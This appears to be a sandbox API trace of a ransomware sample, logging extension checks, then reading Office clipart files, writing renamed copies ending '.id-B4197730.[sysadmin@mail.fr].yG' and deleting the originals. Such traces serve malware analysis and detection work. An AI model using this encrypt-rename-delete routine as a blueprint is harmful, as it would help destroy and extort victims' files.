	[0150.930] lstrlenW (lpString=".rar") returned 4
	[0150.930] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.930] lstrlenW (lpString=".bz2") returned 4
	[0150.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.930] lstrlenW (lpString=".7z") returned 3
	[0150.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0150.930] lstrlenW (lpString=".dbf") returned 4
	[0150.930] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0150.930] lstrlenW (lpString=".1cd") returned 4
	[0150.930] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0150.930] lstrlenW (lpString=".jpg") returned 4
	[0150.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0150.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0150.930] lstrlenW (lpString=".doc") returned 4
	[0150.930] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.930] lstrlenW (lpString=".docx") returned 5
	[0150.931] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.931] lstrlenW (lpString=".pdf") returned 4
	[0150.931] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.931] lstrlenW (lpString=".xls") returned 4
	[0150.931] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.931] lstrlenW (lpString=".xlsx") returned 5
	[0150.931] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.931] lstrlenW (lpString=".ppt") returned 4
	[0150.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0150.931] lstrlenW (lpString=".zip") returned 4
	[0150.931] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.931] lstrlenW (lpString=".rar") returned 4
	[0150.931] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.931] lstrlenW (lpString=".bz2") returned 4
	[0150.931] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.931] lstrlenW (lpString=".7z") returned 3
	[0150.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0150.931] lstrlenW (lpString=".dbf") returned 4
	[0150.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0150.931] lstrlenW (lpString=".1cd") returned 4
	[0150.931] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0150.931] lstrlenW (lpString=".jpg") returned 4
	[0150.931] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.932] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0150.932] lstrlenW (lpString="HH01242_.WMF") returned 12
	[0150.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0151.086] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=7340) returned 1
	[0151.086] CloseHandle (hObject=0x52c) returned 1
	[0151.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x220
	[0151.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0151.089] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.089] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0151.090] GetLastError () returned 0x0
	[0151.090] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x1cac, lpOverlapped=0x0) returned 1
	[0151.093] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x1cb0, lpOverlapped=0x0) returned 1
	[0151.094] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.094] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.094] SetEndOfFile (hFile=0x550) returned 1
	[0151.094] CloseHandle (hObject=0x550) returned 1
	[0151.094] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.094] SetEndOfFile (hFile=0x52c) returned 1
	[0151.097] CloseHandle (hObject=0x52c) returned 1
	[0151.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.098] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 1
	[0151.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0151.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0151.099] lstrlenW (lpString=".doc") returned 4
	[0151.099] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.099] lstrlenW (lpString=".docx") returned 5
	[0151.099] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.099] lstrlenW (lpString=".pdf") returned 4
	[0151.099] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.099] lstrlenW (lpString=".xls") returned 4
	[0151.099] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.099] lstrlenW (lpString=".xlsx") returned 5
	[0151.099] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.099] lstrlenW (lpString=".ppt") returned 4
	[0151.099] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0151.099] lstrlenW (lpString=".zip") returned 4
	[0151.099] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.099] lstrlenW (lpString=".rar") returned 4
	[0151.099] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.099] lstrlenW (lpString=".bz2") returned 4
	[0151.099] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.099] lstrlenW (lpString=".7z") returned 3
	[0151.099] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0151.099] lstrlenW (lpString=".dbf") returned 4
	[0151.100] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0151.100] lstrlenW (lpString=".1cd") returned 4
	[0151.100] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0151.100] lstrlenW (lpString=".jpg") returned 4
	[0151.100] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0151.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0151.100] lstrlenW (lpString=".doc") returned 4
	[0151.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.100] lstrlenW (lpString=".docx") returned 5
	[0151.100] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.100] lstrlenW (lpString=".pdf") returned 4
	[0151.100] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.100] lstrlenW (lpString=".xls") returned 4
	[0151.100] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.101] lstrlenW (lpString=".xlsx") returned 5
	[0151.101] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.101] lstrlenW (lpString=".ppt") returned 4
	[0151.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0151.101] lstrlenW (lpString=".zip") returned 4
	[0151.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.101] lstrlenW (lpString=".rar") returned 4
	[0151.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.101] lstrlenW (lpString=".bz2") returned 4
	[0151.101] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.101] lstrlenW (lpString=".7z") returned 3
	[0151.101] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0151.101] lstrlenW (lpString=".dbf") returned 4
	[0151.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0151.101] lstrlenW (lpString=".1cd") returned 4
	[0151.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0151.101] lstrlenW (lpString=".jpg") returned 4
	[0151.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.102] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0151.102] lstrlenW (lpString="HH01291_.WMF") returned 12
	[0151.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0151.102] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=15806) returned 1
	[0151.102] CloseHandle (hObject=0x52c) returned 1
	[0151.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x220
	[0151.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0151.103] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.103] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0151.104] GetLastError () returned 0x0
	[0151.104] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x3dbe, lpOverlapped=0x0) returned 1
	[0151.170] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x3dc0, lpOverlapped=0x0) returned 1
	[0151.173] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.173] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.173] SetEndOfFile (hFile=0x550) returned 1
	[0151.174] CloseHandle (hObject=0x550) returned 1
	[0151.174] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.174] SetEndOfFile (hFile=0x52c) returned 1
	[0151.178] CloseHandle (hObject=0x52c) returned 1
	[0151.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.179] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 1
	[0151.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0151.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0151.180] lstrlenW (lpString=".doc") returned 4
	[0151.180] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.180] lstrlenW (lpString=".docx") returned 5
	[0151.180] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.180] lstrlenW (lpString=".pdf") returned 4
	[0151.180] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.180] lstrlenW (lpString=".xls") returned 4
	[0151.180] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.180] lstrlenW (lpString=".xlsx") returned 5
	[0151.180] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.180] lstrlenW (lpString=".ppt") returned 4
	[0151.180] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0151.180] lstrlenW (lpString=".zip") returned 4
	[0151.180] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.180] lstrlenW (lpString=".rar") returned 4
	[0151.180] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.180] lstrlenW (lpString=".bz2") returned 4
	[0151.180] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.181] lstrlenW (lpString=".7z") returned 3
	[0151.181] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0151.181] lstrlenW (lpString=".dbf") returned 4
	[0151.181] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0151.181] lstrlenW (lpString=".1cd") returned 4
	[0151.181] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0151.181] lstrlenW (lpString=".jpg") returned 4
	[0151.181] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0151.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0151.181] lstrlenW (lpString=".doc") returned 4
	[0151.181] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.181] lstrlenW (lpString=".docx") returned 5
	[0151.181] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.181] lstrlenW (lpString=".pdf") returned 4
	[0151.181] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.181] lstrlenW (lpString=".xls") returned 4
	[0151.181] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.181] lstrlenW (lpString=".xlsx") returned 5
	[0151.181] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.181] lstrlenW (lpString=".ppt") returned 4
	[0151.181] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0151.182] lstrlenW (lpString=".zip") returned 4
	[0151.182] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.182] lstrlenW (lpString=".rar") returned 4
	[0151.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.182] lstrlenW (lpString=".bz2") returned 4
	[0151.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.182] lstrlenW (lpString=".7z") returned 3
	[0151.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0151.182] lstrlenW (lpString=".dbf") returned 4
	[0151.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0151.182] lstrlenW (lpString=".1cd") returned 4
	[0151.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0151.182] lstrlenW (lpString=".jpg") returned 4
	[0151.182] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.182] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0151.182] lstrlenW (lpString="HH01329_.WMF") returned 12
	[0151.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0151.183] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=6016) returned 1
	[0151.183] CloseHandle (hObject=0x52c) returned 1
	[0151.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 0x220
	[0151.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0151.184] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.184] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0151.185] GetLastError () returned 0x0
	[0151.185] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x1780, lpOverlapped=0x0) returned 1
	[0151.186] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x1790, lpOverlapped=0x0) returned 1
	[0151.187] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.187] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.188] SetEndOfFile (hFile=0x550) returned 1
	[0151.188] CloseHandle (hObject=0x550) returned 1
	[0151.188] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.188] SetEndOfFile (hFile=0x52c) returned 1
	[0151.191] CloseHandle (hObject=0x52c) returned 1
	[0151.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.192] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 1
	[0151.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0151.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0151.192] lstrlenW (lpString=".doc") returned 4
	[0151.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.193] lstrlenW (lpString=".docx") returned 5
	[0151.193] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.193] lstrlenW (lpString=".pdf") returned 4
	[0151.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.193] lstrlenW (lpString=".xls") returned 4
	[0151.193] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.193] lstrlenW (lpString=".xlsx") returned 5
	[0151.193] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.193] lstrlenW (lpString=".ppt") returned 4
	[0151.193] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0151.193] lstrlenW (lpString=".zip") returned 4
